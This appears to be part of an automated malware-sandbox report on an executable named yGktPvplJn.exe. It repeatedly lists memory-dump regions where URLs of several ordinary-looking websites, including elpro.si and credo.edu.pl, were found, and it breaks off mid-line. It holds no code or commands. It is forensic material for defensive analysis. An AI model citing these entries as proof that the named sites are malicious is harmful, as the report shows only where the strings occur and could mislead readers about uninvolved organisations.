Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.colourrich.co.uk
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2695852272.0000000006FB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.credo.edu.pl/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2716469186.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2396072731.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.edimart.hu/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/#/schema/logo/image/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/#breadcrumb
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/#organization
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/#primaryimage
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/#website
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/?s=
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/akreditiran-laboratorij/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/avtorji/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2475478766.0000000006B0C000.00000004.00000020.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, 